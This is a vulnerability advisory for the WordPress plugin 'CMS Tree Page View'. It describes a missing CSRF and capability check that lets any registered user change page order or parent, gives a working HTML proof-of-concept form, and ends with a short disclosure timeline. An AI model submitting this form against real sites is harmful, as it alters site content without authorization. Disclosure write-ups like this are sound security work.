CMS Tree Page View [CSRF, Privilege Escalation]


Plugin implements AJAX action admin_menu_tree_page_view_move_page which calls back the function admin_menu_tree_page_view_move_page. The later does not implement any anti-CSRF controls or security checks.

Exploiting this vulnerability a malicious actor can only change the order and/or parent of specified pages, so the damage is minimal.

The AJAX action is a privileged one so it’s only available for registered users. Even so it doesn’t implement any capabilities checks so it’s available to all users no matter the access level. This could allow any registered user to change pages order and/or parent.

Exploiting this vulnerability could lead to a minor data integrity loss but considering the complexity of the attack and the real outcome for an attacker, the exploitation of this vulnerability seems rather unlikely to occur.


Use the following form to change the order or the parent of pages.

<form method="post" action="">
    <input type="hidden" name="action" value="cms_tpv_move_page">
    <input type="text" name="node_id" placeholder="page to move" value="1698">
    <input type="text" name="ref_node_id" placeholder="target page" value="1697">
    <input type="text" name="type" placeholder="can be one of inside, before or after" value="inside">
    <button type="submit" value="Submit">Submit</button>

  • 2017-08-10:
  • 2017-12-23:
    Vendor notified by email